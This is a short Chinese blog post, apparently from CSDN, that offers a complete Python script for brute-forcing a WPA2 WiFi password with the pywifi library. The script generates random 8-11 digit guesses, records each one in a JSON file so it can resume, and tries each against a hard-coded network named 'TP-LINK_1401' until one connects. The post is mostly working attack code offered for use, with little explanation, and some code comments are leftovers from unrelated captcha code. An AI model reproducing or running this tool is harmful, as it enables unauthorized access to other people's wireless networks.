pywifi暴力破解WIFI

注:在相同目录下新建一个janywifi.json文件
随机生成8-11位数字,生成过的数字存在janywifi.json文件里,不重复,断点继续

import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
import random,json
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
        time.sleep(1) #休眠1秒
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def readPassWord(self):
            print("开始暴力破解")
            while True:
                auth = ""  # 定义全局验证码变量
                rr = random.randint(8,11)
                for i in range(0, rr):  # 定义循环4次,形成4位验证码。
                    current = random.randint(0, 1)  # 定义一个随机0-4的一个范围,去猜i 的值。
                    #if current == 1:  # 如果current 和i 的值一样
                    if 1:
                        current_code = random.randint(0, 9)  # 生成一个随机的数字
                    else:  # 如果current和i 的值不一样
                        current_code = chr(random.randint(65, 90))  # 生成一个随机的字母,这里一定要主义chr()转换一下。
                    auth += str(current_code)  # 将每次随机生成的值赋值给auth
                with open("janywifi.json", 'r', encoding="utf-8") as f:
                    mywifi = json.load(f)
                    f.close()
                if auth in mywifi:
                    print("密码重复")
                    continue
                else:
                    with open("janywifi.json", "w", encoding="utf-8") as fc:
                        mywifi.append(auth)
                        json.dump(mywifi, fc, ensure_ascii=False, indent=0)
                        fc.close()
                try:
                    if not auth:
                        print("小本本里没密码,退出了")
                        break
                    bool1=self.test_connect(auth)
                    if bool1:
                        print("尝试成功第:%s次  "%(len(mywifi)),auth)
                        break
                    else:
                        print("尝试失败第:%s次  "%(len(mywifi)),auth)
                    sleep(3)
                except:
                    continue

    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="TP-LINK_1401" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码

        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
    def __del__(self):
        self.file.close()
path=r"csdnwifi.txt"
start=PoJie(path)
start.readPassWord()

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值